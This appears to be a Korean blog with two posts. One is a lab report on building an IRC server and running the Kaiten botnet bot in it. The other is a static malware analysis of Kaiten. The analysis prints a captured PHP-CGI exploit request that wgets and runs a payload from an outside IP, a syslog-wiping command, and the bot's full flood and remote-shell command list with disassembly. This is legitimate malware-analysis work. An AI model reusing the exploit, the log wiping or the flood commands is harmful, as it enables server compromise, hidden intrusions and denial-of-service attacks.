쓰게 될 내용을 생각해보니까, 분석이라기 보다는 실습보고서 정도에 그치지 않을까 싶다. 그래도 일단 남겨보자. 우선 IRC 서버부터 구축해보자.


어떤 프로그램으로 IRC 서버를 구축할까 찾아봤는데, UnrealIRC라는 프로그램이 있더라. 그래서 이 프로그램을 이용해서 IRC 서버를 구축해보기로 했다.


설치는 매우 간단하다. 설치 후, unrealircd.conf 파일을 생성하여 설정에 맞게 바꿔줘야 한다. 이 파일은 UnrealIRC/doc/example.conf 파일을 복사해서 unrealircd.conf로 바꿔서 사용하면 된다. (cp ./doc/exampleconf unrealircd.conf)


위와 같이 복사 후 unrealircd.conf 내용을 잘 읽어보면서 내용을 수정하면 된다. 영어를 잘 해석해보면 누구든지 할 수 있다. 
https://www.unrealircd.org/files/docs/unreal32docs.html


위의 사이트와 unrealircd.conf에 있는 내용을 참고해보자. 참고로 설정 시 irc.XXX.XXX 와 같이 도메인이 실제로 존재해야한다. IP로는 안 되는 것 같다.


그렇게 구축을 하면 아래 명령어를 통해 구동을 한다.

./unreal start


netstat -na | grep 포트번호 또는 ps -ef | grep ircd 명령어를 통해 제대로 동작하고 있는지를 더블체크해보자.


이 상태에서 IRC에 접속하여 체널을 생성해보자. IRC 접속은 irssi 라는 또 다른 프로그램을 설치하여 그 프로그램으로 IRC에 접속했다. 


irssi를 실행하여 아래와 같이 실행해보자.

/CONNECT <도메인명> <포트번호>



개인 중요 정보는 가려놨다. 아무튼 위와 같이 접속이 된다. 이 상태에서

/JOIN <체널명>

위와 같이 입력하여 체널을 생성한다. 단, 체널명 가장 앞에는 #을 붙여줘야한다. i.e "#ChannelName"



위와 같이 체널을 생성한다.

그리고 이전 포스팅에서 분석했던 그 프로그램을(이하 Kaiten) 실행시키면 된다. 그러면 위의 체널에 접속을 하게 될 것이다. (물론, Kaiten 프로그램 소스코드 내에서 서버 정보나 체널명 등을 제대로 수정해준 상태에서 가능한 것이다-_-)



위와 같이 새로운 사용자가 체널에 JOIN했다는 것을 알 수 있다. 이제 끝났다. 이제 Kaiten 소스코드에 있는 명령어들을 수행할 수 있다. 예를 들어 특정 IP에 대하여 PAN 명령어를 실행시켜보면



위와 같이 어마어마한 양의 패킷이 발생했다. destination이 random IP인 것은 소스 코드를 분석해보면 나온다.


이상 간단하게 분석보고서가 아닌 실습 보고서 마치려고 한다.

위와 같이 Botnet이 동작하는 것이므로 블로그 읽으시는 분들은 Botnet이 어떤식으로 동작하는지만 개념적으로 알면 될 것이라고 판단된다.


※ 악의적인 용도로 쓰일 가능성이 있으므로 최대한 rough하게 썼다.

Posted by 빛나유

댓글을 달아 주세요

이 악성코드는 거의 올해 3월쯤, 업무 중 우연히 wget으로 다운로드 시도하는 취약점을 확인 후 그 URL만 따로 가져와서 집에서 분석해본 것이다. 그런데 제목에서 알 수 있듯이... 미완성이다. 물론 이 악성코드의 기본적인 기능에 대해서는 거의 다 기술했으나 내가 원하는 정도의 디테일은 아니다.


미완성이여서 일부러 포스팅을 하지 않았으나, better than nothing. 없는 것 보다는 좋다고 생각하여 공유한다. 그리고 사실 얼마전에 우연한 계기로 IRC bot을 구축해보게 되었다. 몇 일 삽질 좀 하다가 어제 완성시켰고 이 악성코드를 실행시켜본 결과 실제로 botnet으로 작동을 하더라. 우와 신기하다. 


이 포스팅에서는 오로지 그 악성코드(kaiten)에 대한 static analysis를 진행해보겠다. 그리고 다음 포스팅에서는 IRC bot을 실제로 구축한 것에 대해 포스팅 하겠다. 우선은 미완성으로 둔 보고서를 아래에 적어보려한다.


=======================================================================

우선, 해당 악성코드의 감염경로부터 살펴보자. 감염 경로에 대해서는 길게 이야기하지 않을 생각이다. 이전 보고서에서 자세하게 다뤘기 때문이다. 그래도 한번 집고 넘어가보자. 공격자는 이번 악성코드를 PHP취약점을 이용해서 배포했던 것으로 추정된다. 실제로 공격에 사용된 패킷을 구글링했을 경우, 큰 기업부터 작은 사이트를 운영하는 사람들에게도 많이 탐지된 것으로 보인다. 심지어 내가 운영하는 작디 작은 홈페이지에도 해당 이벤트가 탐지되었다.


# 공격 이벤트

POST /cgi-bin/php?-d allow_url_include=on -d safe_mode=off -d suhosin.simulation=on -d disable_functions="" -d open_basedir=none -d auto_prepend_file=php://input -d cgi.force_redirect=0 -d cgi.redirect_status_env=0 -n HTTP/1.1 Host: 114.255.55.119 User-Agent: Mozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit/536.26(KHTML, like Gecko) Version/6.0 Mobile/10A5355d Safari/8536.25 Content-Type: application/x-www-fops-urlencoded Content-Length: 84 Connection: close 

<?php system("wget http://200.156.100.119/scen -O /tmp/sh;sh /tmp/sh;rm -rf /tmp/sh");


먼저 간략하게 위의 공격 이벤트를 설명해보자. 이는 파일이 업로드될 수 있는 환경이 되도록 PHP 환경변수를 조작한 후 공격자가 임의의 php 코드를 실행시켜서 서버로 하여금 악성코드를 다운로드 받도록 하기 위한 이벤트이다. 이벤트를 보면 wget 명령어를 통해서 scen이라는 파일을 다운로드 시도한 것을 확인할 수 있다. 이 때 다운로드 옵션으로 –O를 준 것을 확인할 수 있다. 이것은 wget http://221.132.37.26/scen > /tmp/sh 와 같은 구문으로 이해하면 된다. 즉 다운받은 내용을 /tmp/sh에 저장한다고 생각하면 된다. 단순 파일명을 바꿔서 저장하는 것과는 조금 차이가 있다. 예를 들어 기존에 /tmp/sh이라는 파일이 있을 경우에는 그 파일에 내용이 이어져서 쓰여지기 때문이다. 그리고 sh 명령어를 통해 해당 파일을 실행한 후, 자기 자신을 삭제한다. (공격자가 자신의 악성코드를 배포한 방법은 이 방법 말고도 다른 방법이 있을 수도 있다.)

이제 잠시 개념적인 이야기를 해보자. 보안 분야 업무를 하다보면, 혹은 굳이 보안 관련된 업무를 하지 않아도 본인의 직장 내 PC 보안 등등 관련하여 또는 뉴스에서도 botnet 또는 bot에 감염되었다 등등의 이야기를 자주 들을 수 있다. 과연 bot이란 무엇이며 bot에 감염이 되면 어떤 현상이 있을 수 있을까?

Bot은 robot의 줄임말이다. 로봇, 무언가 프로그래밍된 대로 움직이는 무언가. 그렇다. 결국 프로그래머가 의도한대로 움직이는 로봇(프로그램)이다. IRC bot은 그 bot이 IRC를 사용한다는 것이고 IRC bot 악성코드는 그 IRC bot이 정상적으로 IRC protocol을 사용하지 않고 악의적인 의도를 띄고 있다는 것이다. 자꾸 IRC IRC 그러는데 IRC가 무엇인지부터 알아보자.
IRC는 Internet Relay Chat의 줄임말이다. 채팅이다. 결국 채팅 프로그램 만들 때 사용하는 프로토콜을 이용하는 것이고 그 프로토콜을 악용해서 공격자는 이득을 취한 샘이다. 위키피디아에서는 이렇게 설명하고 있다.


Client/Server 모델로 작동하는 메시지를 텍스트 형태로 주고 받는 시스템이라고 한다. 사용자는 IRC 프로그램을 자신의 컴퓨터에 설치해서 서버와 메시지를 주고받으며 통신한다고 한다. 언뜻 생각하기에도 공격에 이용되기 딱 좋다. 클라이언트가 자신의 악성코드를 설치하게 되면 그 PC와 통신을 할 수 있으니 말이다. 가령, 공격자는 이런 시나리오를 작성할 수 있다.

“보안에 무지한 일반인들을 자신의 IRC bot으로 감염시킨다.(이메일 등등을 통하여) 그렇게 되면 여러 PC들이 자신의 IRC 서버와 통신을 하게 될 것이고, 공격자는 자기에게 붙어있는 PC들을(감염되어있는 무지한 일반인의 PC) 이용해서 자신의 실제 타겟을 공격한다.”

가령 DDoS IRC bot 같은 경우에는 미리 공격자가 IRC bot을 일반인들의 PC에 감염시킨 다음 실제 DDoS 공격을 진행할 장비들에 대하여 공격을 하라고 명령을 내리는 식으로 동작할 수 있다. 남성분들이라면 예전에 디아블로2 많이 하셨을 수도 있다. 디아블로2에서 네크로멘서가 어떤 식으로 공격하는가? 골렘 소환하고 죽은 시체를 살려서 좀비로 만든다음에 자기 대신에 공격하게 하고 그런 식으로 한다. 자기는 도망만 다닌다. 똑같다. IRC bot 쉽게 이해하려면 이런 식으로 이해해도 된다.

이제 실제로 악성코드 분석을 해보자. 실제 악성코드 분석을 진행하기에 앞서 한가지 집고 넘어가고 싶은 것이 있다. 악성코드 분석 방법론이다. 누구에게 배운 적도 없고 오로지 ‘이렇게 하면 어떨까?’ ‘저렇게 하면 어떻까?’ 하고 생각하면서 분석해봤다. 아무리 생각해봐도 체계적이지 않고 비효율적이다. 혹자는 ‘이게 무슨 악성코드 분석이야?’라고 생각할지도 모른다. 그래도 한번 내 방법대로 시작해보자.

우선 배경지식이 필요하다. 악성코드 분석을 하려면 무엇을 알아야할까? 가장 먼저 생각난 것은 File Format이다. File Format은 흔히 윈도우에서는 PE파일 구조를 말하고 Linux/Unix에서는 ELF 파일 구조를 의미한다. 이번에 분석할 악성코드는 Linux/Unix를 타켓으로 만들어진 것이므로 ELF 파일 구조부터 공부해보기로 했다. 
그런데 그 내용을 보고서에 전부 작성하기에는 양이 너무 많으므로 따로 링크를 통해 남겨둘 생각이다. 아래의 링크를 참고하면 된다.
http://operatingsystems.tistory.com/entry/SP-ELF-File
http://operatingsystems.tistory.com/entry/SP-Relocatable-Object-File
http://operatingsystems.tistory.com/entry/SP-Symbol-and-Symbol-Tables

또한 중요한 내용이 function call이나 system call의 원리이다. 이 내용은 아래의 링크를 참고하자.
http://operatingsystems.tistory.com/entry/SP-Procedure-Call
http://operatingsystems.tistory.com/entry/Kernel-System-Call-Calling-Convention

우선 분석할 악성코드가 IRC bot이라는 것도 모르는 백지 상태에서 출발해보자. 우선 가상 머신에서 실행을 시켜보자. 실행할 악성코드의 이름은 xxx이다.


이상한 파일명의 프로세스가 실행되고 있음을 확인할 수 있다. 이는 xxx라는 malware를 실행시키기 전과 후에 대한 비교이다. 이게 무엇인지는 모르겠으나 우선 추가적으로 가장 기본이 되는 네트워크 상태를 한번 확인해보자.


위의 그림을 통해서 확인해보면 200.156.100.119의 80번 포트로 SYN 패킷을 보냈으나 응답이 오지 않고 있는 상태임을 알 수 있다. (시간이 지나도 ESTABLISHED 상태가 되지 않는다.) 이로 추측해보았을 때, 공격자는 무슨 이유에서인지 현재는 본인의 서버를 운영하고 있지 않거나 IP를 바꿨거나 등등의 이유가 추측된다. 마음 같아서는 저 IP를 내가 직접 설정해놓은 IRC 서버(만일 있다면)로 보내서 명령어를 수행시켜보고 싶으나 공격을 시작하는 서버가 다운되어 있는 것으로 추정되어 해당 악성코드를 공격자의 의도대로 수행시키지는 못 했다.

해당 IP에 대하여 tcpdump를 수행하면 아래와 같은 패킷을 확인할 수 있다.


위의 패킷들은 모두 SYN 패킷이다. 지금까지의 결론으로 미루어 보아, 이 프로그램이 무엇인지는 모르겠으나 아무튼 200.156.100.119라는 공격자의 서버와의 통신을 시도한다는 것은 확인할 수 있다. 적어도 지금 예상할 수 있는 것은, 현재는 inactive 하지만 예전에는 active 했을 것으로 추정되는 IP 주소와 통신을 시도했기 때문에 socket 함수를 사용했을 거라고 예상할 수 있다.


처음에 분석을 시작하려고 하니까 뭐부터 시작해야 하는지 감이 오지 않았다. 그래서 우선 분석에 가장 중요한 elf header과 .rodata section 그리고 .text section을 각각의 파일로 저장해봤다. 생각보다 .rodata 영역에서 많은 것을 얻을 수 있었다. 프로그램에서 사용하는 constant data들을 모아놓은 영역이다. String과 같은 문자열 데이터도 여기서 찾아볼 수 있는데 아래와 같은 정보들을 찾아볼 수 있었다. 

# RODATA Section
String dump of section '.rodata':
  [    20]  200.156.100.119
  [    7c]  NOTICE %s :GET <host> <save as>
  [    a0]  NOTICE %s :Unable to create socket.
  [    c5]  http://
  [    d0]  NOTICE %s :Unable to resolve address.
  [    f8]  NOTICE %s :Unable to connect to http.
  [   120]  GET /%s HTTP/1.0
Connection: Keep-Alive
User-Agent: Mozilla/4.75 [en] (X11; U; Linux 2.2.16-3 i686)
Host: %s:80
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Encoding: gzip
Accept-Language: en
Accept-Charset: iso-8859-1,*,utf-8
  [   234]  NOTICE %s :Receiving file.
  [   250]  wb
  [   258]  NOTICE %s :Saved as %s
  [   270]  NOTICE %s :Spoofs: %d.%d.%d.%d
  [   290]  NOTICE %s :Spoofs: %d.%d.%d.%d - %d.%d.%d.%d
  [   2be]  NOTICE %s :Kaiten wa goraku
  [   2db]  NOTICE %s :NICK <nick>
  [   2f4]  NOTICE %s :Nick cannot be larger than 9 characters.
  [   329]  NICK %s
  [   332]  NOTICE %s :DISABLE <pass>
  [   374]  NOTICE %s :Current status is: %s.
  [   397]  NOTICE %s :Already disabled.
  [   3b8]  NOTICE %s :Password too long! > 254
  [   3e0]  NOTICE %s :Disable sucessful.
  [   3ff]  NOTICE %s :ENABLE <pass>
  [   419]  NOTICE %s :Already enabled.
  [   436]  NOTICE %s :Wrong password
  [   451]  NOTICE %s :Password correct.
  [   470]  NOTICE %s :Removed all spoofs
  [   490]  NOTICE %s :What kind of subnet address is that? Do something like: 169.40
  [   4db]  .0
  [   4e0]  NOTICE %s :Unable to resolve %s
  [   504]  NOTICE %s :UDP <target> <port> <secs>
  [   52b]  NOTICE %s :Packeting %s.
  [   5b0]  NOTICE %s :PAN <target> <port> <secs>
  [   5d7]  NOTICE %s :Panning %s.
  [   5f0]  NOTICE %s :TSUNAMI <target> <secs>
  [   614]  NOTICE %s :Tsunami heading for %s.
  [   638]  NOTICE %s :UNKNOWN <target> <secs>
  [   65c]  NOTICE %s :Unknowning %s.
  [   677]  NOTICE %s :MOVE <server>
  [   694]  NOTICE %s :TSUNAMI <target> <secs>        = Special packeter that wont be blocked by most firewalls
  [   70c]  NOTICE %s :PAN <target> <port> <secs>      = An advanced syn flooder that will kill most network drivers
  [   788]  NOTICE %s :UDP <target> <port> <secs>                       = A udp flooder
  [   7d8]  NOTICE %s :UNKNOWN <target> <secs>                          = Another non-spoof udp flooder
  [   838]  NOTICE %s :NICK <nick>                                      = Changes the nick of the client
  [   898]  NOTICE %s :SERVER <server>                                  = Changes servers
  [   8e8]  NOTICE %s :GETSPOOFS                                        = Gets the current spoofing
  [   944]  NOTICE %s :SPOOFS <subnet>                                  = Changes spoofing to a subnet
  [   9a0]  NOTICE %s :DISABLE                                          = Disables all packeting from this client
  [   a08]  NOTICE %s :ENABLE                                           = Enables all packeting from this client
  [   a70]  NOTICE %s :KILL                                             = Kills the client
  [   ac0]  NOTICE %s :GET <http address> <save as>         = Downloads a file off the web and saves it onto the hd
  [   b38]  NOTICE %s :VERSION                                          = Requests version of client
  [   b94]  NOTICE %s :KILLALL                                          = Kills all current packeting
  [   bf0]  NOTICE %s :HELP                                             = Displays this
  [   c40]  NOTICE %s :IRC <command>                                    = Sends this command to the server
  [   ca0]  NOTICE %s :SH <command>                                     = Executes a command
  [   cf2]  NOTICE %s :Killing pid %d.
  [   d0e]  TSUNAMI
  [   d16]  PAN
  [   d1a]  UDP
  [   d1e]  UNKNOWN
  [   d26]  NICK
  [   d2b]  SERVER
  [   d32]  GETSPOOFS
  [   d3c]  SPOOFS
  [   d43]  DISABLE
  [   d4b]  ENABLE
  [   d52]  KILL
  [   d57]  GET
  [   d5b]  VERSION
  [   d63]  KILLALL
  [   d6b]  HELP
  [   d70]  IRC 
  [   d75]  %s
  [   d79]  SH 
  [   d80]  export PATH=/bin:/sbin:/usr/bin:/usr/local/bin:/usr/sbin;%s
[   e74]  rm -rf /var/log/syslog;touch /var/log/syslog;chmod 0000 /var/log/syslog;chattr +isa /var/log/syslog;
  [   ee5]  [pdflush]
  [   eef]  #http
  [   ef5]  t3t4
  [   efc]  NICK %s
USER %s localhost localhost :%s
  [  1126]  /bin/sh

위의 내용들은 .rodata section의 매우 일부이다. 분석을 시작하기 전에 알면 좋을 만한 정보들만 추려놨다. 위의 정보에서 왼쪽에 있는 숫자들을 봐보자. 저것은 .rodata의 시작 주소로부터의 offset 값이다. 시작 주소는 elf header 정보를 통해서 알 수 있다.


위의 그림을 보면 .rodata가 0x80b2300부터 시작함을 알 수 있다. 따라서 .rodata section의 왼쪽에 있는 숫자들은 0x80b2300+offset 의 값으로 .text section에서 접근이 가능하다. 그러면 .rodata section에 어떤 값들을 눈여겨 볼지 생각해보자.

0x80b2300+0x20=0x80b2320
200.156.100.19
0x80b2320에서 IP문자열을 확인할 수 있다. 아마도 공격에 사용되는 C&C 서버가 아닐까 추측된다. (아직은 추측만 해보자.)

0x80b2300+0x120=0x80b2420
GET /%s HTTP/1.0
Connection: Keep-Alive
User-Agent: Mozilla/4.75 [en] (X11; U; Linux 2.2.16-3 i686)
Host: %s:80
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Encoding: gzip
Accept-Language: en
Accept-Charset: iso-8859-1,*,utf-8
http header로 추정되는 문자열도 있다. 

0x80b2300+0x504=0x80b2804 and etc
NOTICE %s :UDP <target> <port> <secs> 외 다수
NOTICE로 시작하는 아주 많은 string도 확인할 수 있다. 이 악성코드의 주요 기능으로 추정된다. (나도 알고 있다. 아마도 세상에서 제일 친절한? 악성코드가 아닌가 싶다. 이번 케이스는 운이 좋은 것이라고 봐야될 것 같다.) 

0x80b2300+0xd80=0x80b3080과 0x80b2300+0x1126=0x80b3426
export PATH=/bin:/sbin:/usr/bin:/usr/local/bin:/usr/sbin;%s
/bin/sh
shell을 실행하는데 필요할 것으로 추정되는 문자열들도 있다. 

0x80b2300+0xe74=0x80b3174
rm -rf /var/log/syslog;touch /var/log/syslog;chmod 0000 /var/log/syslog;chattr +isa /var/log/syslog; 
삭제를 하는 시스템 명령어이다. 보아하니 흔적을 지우기 위한 시도로 보인다. 
보통 /var/log/syslog는 kernel이나 cron, mail, daemon 등에 대한 로그 등을 저장하는 파일이다. 그 파일을 삭제하고(rm -rf /var/log/syslog), 새로 만들되(touch /var/log/syslog) 권한을 0000으로 만들고(chmod 0000 /var/log/syslog) isa attribute을 추가(+)하라(chattr +isa /var/log/syslog)는 뜻이다. +isa를 하게 되면 해당 파일은 append mode + cannot be deleted + secure deletion의 속성을 가지게 된다. 

이러한 내용들은 바이러스 감염을 확인하는데 (1차적으로)필요할 수도 있겠다는 생각을 했다. 가령 피해가 의심되는 시스템이 있는데 확인해보니 syslog파일이 위와 같이 설정이 되어있다면, 그리고 200.156.100.119와의 통신하고 있다는 것을 netstat –na 명령어 등으로 확인할 수 있다면 감염 여부를 1차적으로 진단할 수 있지 않을까?

그러나 지금은 어느 정도 .text영역을 통해서 행위를 분석해보고자 하는 것이다. 우선 main함수부터 시작해보면 될 것 같다. main함수에서 수행되는 주된 역할은 아래와 같다.

a. 시스템 로그 삭제
b. /dev/shm/.x 파일 생성
c. 공격자 서버로의 접속
d. 공격자의 명령어 수행

main 함수에서 시스템 로그 삭제하는 부분은 아래와 같이 확인할 수 있다.

# main()
0804aeea <main>:
804aeea: 8d 4c 24 04           lea    0x4(%esp),%ecx
804aeee: 83 e4 f0             and    $0xfffffff0,%esp
804aef1: ff 71 fc             pushl  -0x4(%ecx)
804aef4: 55                   push   %ebp
804aef5: 89 e5                 mov    %esp,%ebp
804aef7: 53                   push   %ebx
804aef8: 51                   push   %ecx
804aef9: 81 ec e0 19 00 00     sub    $0x19e0,%esp
804aeff: 89 8d 34 e6 ff ff     mov    %ecx,-0x19cc(%ebp)
804af05: c7 04 24 74 31 0b 08 movl   $0x80b3174,(%esp)
804af0c: e8 9f 24 00 00       call   804d3b0 <__libc_system>

$0x80b3174에 있는 내용은 .rodata 영역에서 확인할 수 있는데 
rm -rf /var/log/syslog;touch /var/log/syslog;chmod 0000 /var/log/syslog;chattr +isa /var/log/syslog; 
와 같다. 아무래도 흔적을 감추기 위한 행위로 추정된다. 그 다음에 바로 이어서 /dev/shm/.x 파일을 생성하는 부분을 확인할 수 있다.

……

804af0c: e8 9f 24 00 00       call   804d3b0 <__libc_system>

804af11: c7 44 24 08 b6 01 00 movl   $0x1b6,0x8(%esp)

804af18: 00 

804af19: c7 44 24 04 42 00 00 movl   $0x42,0x4(%esp)

804af20: 00 

804af21: c7 04 24 d9 31 0b 08 movl   $0x80b31d9,(%esp)     # /dev/shm/.x

804af28: e8 e3 f8 00 00       call   805a810 <__libc_open>

804af2d: 89 45 d4             mov    %eax,-0x2c(%ebp)

804af30: c7 44 24 04 06 00 00 movl   $0x6,0x4(%esp)

804af37: 00 

804af38: 8b 45 d4             mov    -0x2c(%ebp),%eax

804af3b: 89 04 24             mov    %eax,(%esp)

804af3e: e8 2d fb 00 00       call   805aa70 <__flock>

804af43: 89 45 d8             mov    %eax,-0x28(%ebp)

804af46: 83 7d d8 00           cmpl   $0x0,-0x28(%ebp)

804af4a: 74 11                 je     804af5d <main+0x73>

804af4c: e8 9f 0c 00 00       call   804bbf0 <__errno_location>

804af51: c7 04 24 01 00 00 00 movl   $0x1,(%esp)


__libc_open과 관련된 부분은 빨간색으로 __flock과 관련된 부분은 파란색으로 적어놨다. __libc_open 함수와 __flock 함수의 파라미터 부분도 표시해두었는데 open 함수에서 movl   $0x80b31d9,(%esp)와 flock 함수에서 mov    %eax,(%esp)부분을 제외하고는 각 파라미터가 어떠한 값을 의미하는지 정확하게 알아내지는 못 했다. 그리고 그 다음으로 알아볼 부분은 con() 함수 호출 부분이다.


……

804b27f: mov    0x80d2be8,%eax

804b284: movl   $0x0,0xc(%esp)

804b28c: movl   $0x1000,0x8(%esp)

804b294: lea    -0x19c4(%ebp),%edx

804b29a: mov    %edx,0x4(%esp)

804b29e: mov    %eax,(%esp)

804b061: call   804ac80 <con>

804b066: mov    0x80d2bec,%eax

804b2a1: call   805b840 <__libc_recv>

804b2a6: mov    %eax,-0xc(%ebp)

804b2a9: cmpl   $0x0,-0xc(%ebp)

804b2ad: jle    804b061 <main+0x177> 

804b2b3: mov    -0xc(%ebp),%eax


이 부분에서 call  805b840 부분을 자세히 봐보자. 이 부분은 con() 호출을 통해 소켓을 생성한 뒤 해당 소켓으로부터 데이터를 받을 때 사용된다. 그렇다면 con()을 통해서 소켓을 생성한다는 것을 우선 확인하고 다시 call  805b840로 돌아와보자. 


0804ac80 <con>:

804ac80: 55                   push   %ebp

804ac81: 89 e5                 mov    %esp,%ebp

.....

804acc5: movl   $0x0,0x80d0960

804accf: movl   $0x6,0x8(%esp)

804acd7: movl   $0x1,0x4(%esp)

804acdf: movl   $0x2,(%esp)

804ace6: call   805b980 <__socket>

804aceb: mov    %eax,0x80d2be8 # socket descriptor is saved

804acf0: mov    0x80d2be8,%eax

804acf5: test   %eax,%eax

804acf7: js     804accf <con+0x4f>

804acf9: mov    0x80d2d00,%eax # value of server

804acfe: mov    %eax,(%esp)

804ad01: call   805bd20 <inet_addr> # convert IP into long type

804ad06: test   %eax,%eax

804ad08: je     804ad1c <con+0x9c> # goto :con2 if no IP address is returned

…..

804ad86: movw   $0x2,-0x1c(%ebp)

804ad8c: movl   $0x50,(%esp) # decimal 80

804ad93: call   805c1c0 <htons> # convert decimal 80 into TCP/IP form

804ad98: mov    %ax,-0x1a(%ebp)

....


# %ebp-0x1c is the value of %eax, which may contain the value of sockaddr structure

804ade9: mov    %eax,0x4(%esp)

804aded: mov    %edx,(%esp) # parm1 : socket descriptor

804adf0: call   805b7c0 <__connect_internal>

804adf5: test   %eax,%eax

......


대략 con() 함수를 보면 __socket 함수를 통해서 socket descriptor(at 0x80d2be8)를 구한다. 그 후 연결할 IP port번호를 각각 inet_addr htons 함수를 통해 형태를 바꿔서 sockaddr structure에 저장한다. 아마도 이 sockaddr structure %ebp-0x1c에 저장되어 있을 것으로 추정된다. (확인이 어려웠다.) 마지막으로 socket descriptor sockaddr을 파라미터로 하여 <__connect_internal>를 호출하여 연결한다. sockaddr structure %ebp-0x1c에 있다는 것을 확인하지 못 한 것이 조금 아쉽다.

 

위와 같이 con()함수를 통해 공격자 서버와 connection establish , 공격자의 명령을 받아 수행하게 된다. 이 때 수행하는 방법은 libc_recv 함수 call을 통해서 수행한다.


804b3d8: movl   $0x0,-0xc(%ebp)

804b3df: jmp    804b42b <main+0x541> # goto :main1


:main2

804b3e1: mov    -0xc(%ebp),%eax

804b3e4: mov    0x80d0140(,%eax,8),%edx # msgs structure object

804b3eb: lea    -0x5c4(%ebp),%eax

804b3f1: mov    %eax,0x4(%esp)

804b3f5: mov    %edx,(%esp)

804b3f8: call   80599b0 <__strcasecmp>

804b3fd: test   %eax,%eax

804b3ff: jne    804b427 <main+0x53d>

804b401: mov    -0xc(%ebp),%eax

804b404: mov    0x80d0144(,%eax,8),%ecx # %ecx = 0x80d0144 + %eax*8

804b40b: mov    0x80d2be8,%edx

804b411: mov    -0x10(%ebp),%eax

804b414: mov    %eax,0x8(%esp)

804b418: lea    -0x9c4(%ebp),%eax

804b41e: mov    %eax,0x4(%esp)

804b422: mov    %edx,(%esp)


# it allows %eip jump to any function the attacker want to execute

# function pointer

804b425: call   *%ecx

804b427: addl   $0x1,-0xc(%ebp)


:main1

804b42b: mov    -0xc(%ebp),%eax # %eax = 0

804b42e: mov    0x80d0140(,%eax,8),%eax # %eax=0x80d0140+%eax*8 = 0x80d0140

804b435: test   %eax,%eax

804b437: jne    804b3e1 <main+0x4f7> # goto :main2 if TRUE

804b439: movl   $0x80b3229,0x4(%esp) # "ERROR"


실제로 프로그램을 수행시키면서 할 수 없어서 확인 불가능한 것이 너무 많다. 위의 assembly instruction에서 0x80d0140를 찾을 수 있다. 이 값은 무엇일까? ELF header에서 찾을 수 있다.


위의 그림을 보면 msgs라는 OBJECT가 선언되어있는 것을 알 수 있다. 여기서 OBJECT를 structure라고 단정짓기는 힘들다. 그렇지만 위의 assembly instruction을 고려해봤을 때(call *%ecx) structure로 추정된다. 위의 assembly instruction에서 봤을 때 call   *%ecx 부분은 function pointer로 추정된다. 즉, 공격자의 명령어를 libc_recv를 통해서 받은 다음 그 명령어를 strcasecmp(대소문자 구분 없는 문자열 비교)를 통해서 비교한다. 일치할 경우, mov    0x80d0144(,%eax,8),%ecx 를 통해서 structure에서 member function을 %ecx에 복사하여 해당하는 함수를 호출한다. 이 때 호출 가능한 함수들의 list는 아래와 같다. 이는 ELF header의 .symtab 부분을 통해서 확인한 값이다.


1784: 0804a486  1206 FUNC    GLOBAL DEFAULT    3 _PRIVMSG

1605: 0804a93c   102 FUNC    GLOBAL DEFAULT    3 _376

2230: 0804a9a2    34 FUNC    GLOBAL DEFAULT    3 _PING

1098: 0804a9c4   527 FUNC    GLOBAL DEFAULT    3 _352

2362: 0804abd3    31 FUNC    GLOBAL DEFAULT    3 _433


이제 위의 함수들을 분석하면 전체적으로 xxx malware에 대한 분석을 마치게 된다.


우선 처음으로 분석해볼 함수는 _PRIVMSG이다. 이 함수에서는 아래의 명령어들이 수행된다.


804a5e3: c7 44 24 04 70 30 0b movl   $0x80b3070,0x4(%esp) # "IRC"

804a646: c7 44 24 04 79 30 0b movl   $0x80b3079,0x4(%esp) # "SH"

804a8f4: ff d1                 call   *%ecx


.rodata section을 확인해보면 $0x80b3070와 $0x80b3079가 각각 “IRC” “SH”라는 것을 확인할 수 있다. SH 부분을 봐보자.


:PRIVMSG9

804a63e: movl   $0x3,0x8(%esp)

804a646: movl   $0x80b3079,0x4(%esp) # "SH"

804a64e: mov    -0x18(%ebp),%eax

804a651: mov    %eax,(%esp)

804a654: call   80591e0 <strncmp> # strncmp( , "SH")

804a659: test   %eax,%eax

804a65b: jne    804a75e <_PRIVMSG+0x2d8> # goto :PRIVMSG_SH

804a661: mov    0xc(%ebp),%eax

804a664: mov    %eax,(%esp)

804a667: call   804838d <mfork>

804a66c: test   %eax,%eax

804a66e: jne    804a932 <_PRIVMSG+0x4ac> # goto :PRIVMSG4

804a674: movl   $0x400,0x8(%esp) # 1024

804a67c: movl   $0x0,0x4(%esp)

804a684: lea    -0x850(%ebp),%eax

804a68a: mov    %eax,(%esp)

804a68d: call   8059840 <memset>

804a692: mov    -0x18(%ebp),%eax

804a695: add    $0x3,%eax

804a698: mov    %eax,0x8(%esp)


#"export PATH=/bin:/sbin:/usr/bin:/usr/local/bin:/usr/sbin;%s"

804a69c: movl   $0x80b3080,0x4(%esp)

804a6a4: lea    -0x850(%ebp),%eax

804a6aa: mov    %eax,(%esp)


# sprintf returns the number of byte of result and save result in buffer

804a6ad: call   804d6f0 <_IO_sprintf>

804a6b2: movl   $0x80b234e,0x4(%esp) # "r"

804a6ba: lea    -0x850(%ebp),%eax

804a6c0: mov    %eax,(%esp) # result from _IO_sprintf is passed to _IO_new_popen

804a6c3: call   804e1e0 <_IO_new_popen> # shell command is executed. 

804a6c8: mov    %eax,-0xc(%ebp)

804a6cb: jmp    804a738 <_PRIVMSG+0x2b2> # goto :PRIVMSG11


공격자가 SH를 수행하면 클라이언트의 PC에서 원격으로 명령어를 실행할 수 있다. 위의 코드를 보면 아래에 _IO_new_popen 함수를 호출하는 것을 알 수 있는데 이 함수를 호출하면 sub function call이 "_IO_new_popen" → "_IO_new_proc_open" → "execl" → "__execve" → "int    $0x80" 이와 같이 수행된다. __execve 함수에서 int $0x80을 수행해서 system call 호출하여 shell 명령어를 수행시킬 수 있다.

0804a93c <_376>:
804a93c: push   %ebp
804a93d: mov    %esp,%ebp
804a93f: sub    $0x18,%esp
804a942: mov    0x80d2be4,%eax # nick
804a947: mov    %eax,0x8(%esp)
804a94b: movl   $0x80b30cd,0x4(%esp) # "MODE %s -xi"
804a953: mov    0x8(%ebp),%eax
804a956: mov    %eax,(%esp)
804a959: call   8048342 <Send>
804a95e: mov    0x80d2d04,%eax # key
804a963: mov    0x80d2d08,%edx # chan
804a969: mov    %eax,0xc(%esp)
804a96d: mov    %edx,0x8(%esp)
804a971: movl   $0x80b30da,0x4(%esp) # "JOIN %s :%s"
804a979: mov    0x8(%ebp),%eax
804a97c: mov    %eax,(%esp)
804a97f: call   8048342 <Send>
804a984: mov    0x80d2be4,%eax
